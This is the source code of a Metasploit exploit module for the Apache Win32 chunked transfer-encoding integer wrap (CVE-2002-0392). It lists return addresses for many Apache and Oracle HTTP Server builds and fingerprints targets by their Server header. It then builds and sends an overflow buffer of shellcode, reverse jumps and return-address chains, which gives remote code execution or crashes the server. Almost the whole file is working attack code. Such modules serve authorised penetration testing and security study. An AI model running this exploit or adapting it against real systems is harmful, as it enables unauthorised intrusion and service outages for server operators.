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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  HttpFingerprint = { :pattern => [ /Apache/ ] }
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache Win32 Chunked Encoding',
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        'Description' => %q{
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          This module exploits the chunked transfer integer wrap
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          vulnerability in Apache version 1.2.x to 1.3.24. This
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          particular module has been tested with all versions of the
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          official Win32 build between 1.3.9 and 1.3.24. Additionally,
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          it should work against most co-branded and bundled versions
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          of Apache (Oracle 8i, 9i, IBM HTTPD, etc).
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          You will need to use the Check() functionality to determine
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          the exact target version prior to launching the exploit. The
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          version of Apache bundled with Oracle 8.1.7 will not
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          automatically restart, so if you use the wrong target value,
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          the server will crash.
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        },
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        'Author' => [ 'hdm', 'jduck' ],
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        'References' => [
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          [ 'CVE', '2002-0392' ],
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          [ 'OSVDB', '838'],
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          [ 'BID', '5033' ]
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        ],
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        'Privileged' => true,
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        'Platform' => 'win',
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        'Payload' => {
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          'Space' => 987,
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          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
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          'MinNops' => 200,
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          'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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        'Targets' => [
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          [ 'Windows Generic Bruteforce', {} ],
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          # Official Apache.org win32 builds
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          [
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            'Apache.org Build 1.3.9->1.3.19',
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            {
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              'Ret' => 0x00401151,
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              'Pad' => [6, 2, 0, 4, 1, 3, 5, 7]
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            }
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          ],
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          [
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            'Apache.org Build 1.3.22->1.3.24',
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            {
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              'Ret' => 0x00401141,
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              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
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            }
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          ],
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          [
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            'Apache.org Build 1.3.19->1.3.24',
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            {
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              'Ret' => 0x6ff6548d,
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              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
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            }
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          ],
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          [
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            'Apache.org Build 1.3.22',
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            {
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              'Ret' => 0x6ff762ac,
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              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
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            }
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          ],
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          # Return to Win9xConHook.dll via call ebx
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          [
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            'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
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            {
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              'Ret' => 0x1c0f13e5,
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              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
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            }
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          ],
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          # Return to Win9xConHook.dll via call esi
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          [
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            'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
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            {
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              'Ret' => 0x1c0f1033,
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              'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
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            }
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          ],
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          # Interesting return to PEB trick for Windows 2003 systems...
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          [
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            'Windows 2003 English SP0',
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            {
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              'Ret' => 0x7ffc0638,
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              'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]
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            }
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          ],
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          # Pop/Pop/Return on Windows 2000
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          [
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            'Windows 2000 English',
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            {
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              'Ret' => 0x75022ac4,
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              'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]
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            }
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          ],
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          # Oracle HTTPD: [ 8.1.7 ] (one shot)
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          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
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          # OpenSSL/0.9.5a mod_perl/1.24
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          [
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            'Oracle 8.1.7 Apache 1.3.12',
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            {
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              'Ret' => 0x1d84d42c,
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              'Pad' => [7]
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            }
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          ],
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          # Oracle HTTPD: [ 9.1.0 ] (multiple shots)
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          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
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          # OpenSSL/0.9.5a mod_perl/1.24
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          [
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            'Oracle 9.1.0 Apache 1.3.12',
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            {
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              'Ret' => 0x10016061,
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              'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]
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            }
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          ],
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          # Oracle HTTPD: [ 9.2.0 ] (multiple shots)
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          # Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
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          # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
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          # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
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          [
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            'Oracle 9.2.0 Apache 1.3.22',
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            {
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              'Ret' => 0x6ff6427a,
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              'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]
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            }
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          ],
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          # Generic debugging targets
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          [
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            'Debugging Target',
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            {
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              'Ret' => 0xcafebabe,
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              'Pad' => [0, 1, 2, 3, 4, 5, 6, 7]
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            }
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          ]
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        ],
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        'DisclosureDate' => '2002-06-19',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def check
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    response = send_request_raw({ 'uri' => '/' }, 5)
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    if response.nil?
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      vprint_status("No response to request")
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      return Exploit::CheckCode::Unknown
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    end
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    http_fingerprint({ :response => response })  # Custom Server header matching
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    code = Exploit::CheckCode::Appears
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    case response['Server']
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    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
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      vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
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    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
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      vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
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    when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
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      vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
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    when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
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      vprint_status("IBM backported the patch, this system is not vulnerable")
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      code = Exploit::CheckCode::Safe
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    when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
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    else
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      code = Exploit::CheckCode::Safe
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    end
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    vprint_status("Server: #{response['Server']}")
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    return code
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  end
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  def auto_target
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    response = send_request_raw({ 'uri' => '/' }, 5)
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    if response.nil?
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      print_error("No response to request")
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      return targets_to_try
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    end
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    http_fingerprint({ :response => response })  # Custom Server header matching / automatic target selection
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    targets_to_try = []
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    server_hdr = response['Server']
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    print_status("Server: #{server_hdr}")
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    case server_hdr
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    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
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      targets_to_try.push(targets[9])
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    when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
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      targets_to_try.push(targets[10])
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    when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
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      targets_to_try.push(targets[11])
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    when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
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      # fall through
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    else
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      # check for apache version ranges
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      if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
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        version = $1
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        # print_status("Apache version: #{version}")
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        ver = version.split('.')
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        if (ver.length == 3)
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          major = ver[0].to_i
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          minor = ver[1].to_i
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          rev = ver[2].to_i
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          if (major == 1 and minor == 3)
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            targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
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            targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
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            targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
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            targets_to_try.push(targets[4]) if (rev == 22)
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            # Add the remaining targets, regardless of quality...
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            if (server_hdr =~ /Win32/)
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              # targets 4, 5, 6, 7
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              if (rev >= 17 and rev <= 24)
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                targets_to_try.push(targets[5])
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                targets_to_try.push(targets[6])
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              end
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              targets_to_try.push(targets[7])
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              targets_to_try.push(targets[8])
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            end
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          end
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          # Version 1.0 - 1.2, Fall through...
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        end
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        # ServerTokens setting isn't giving up enough information ...  Might need to try?
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      end
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      # Not Apache?  Fall through...
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    end
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    targets_to_try
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  end
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  #
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  # If auto, ask the auto_target function for a list of
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  # targets to try...
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  #
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  # If not auto, just try the selected target.
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  #
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  def exploit
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    if target_index == 0
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      targs = auto_target
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      print_status("Auto-targeting returned #{targs.length} candidates...")
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      targs.each_with_index { |targ, idx|
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        # Never try the debug target automatically :)
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        next if targ.name =~ /Debug/
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        exploit_target(targ)
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      }
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    else
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      exploit_target(target)
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    end
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  end
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  def exploit_target(target)
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    target['Pad'].each { |pad|
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      pattern =
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        rand_text_alphanumeric(3936) +
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        payload.encoded +
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        make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
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        rand_text_alphanumeric(pad)
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      # Move slightly further back to allow padding changes
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      pattern +=
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        "\xeb\xf0\xde\xad" +
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        [target.ret].pack('V')
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      # Create a chain of return addresses and reverse jumps
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      254.times { |x|
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        pattern +=
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          "\xeb\xf6\xbe\xef" +
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          [target.ret].pack('V')
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      }
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      # Even out the request length based on the padding value
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      # This is required to reliably hit the return address offset
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      pattern += rand_text_alphanumeric(8 - pad)
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      #
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      # Regardless of what return we hit, execution jumps backwards to the shellcode:
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      #                                   _______________ _______________ ___________
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      #       _________    _____________  | ________    | | ______      | | ______
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      #       v       |    v           |  v v      |    | v v    |      | v v    |
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      # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
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      #
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      print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")
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      # Build the request
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      send_request_raw({
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        'uri' => '/',
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        'headers' =>
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          {
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            'Transfer-Encoding' => "CHUNKED"
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          },
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        'data' => "FFFFFFF0 " + pattern,
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      }, 2)
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      # Check the handler
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      handler
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    }
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  end
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end
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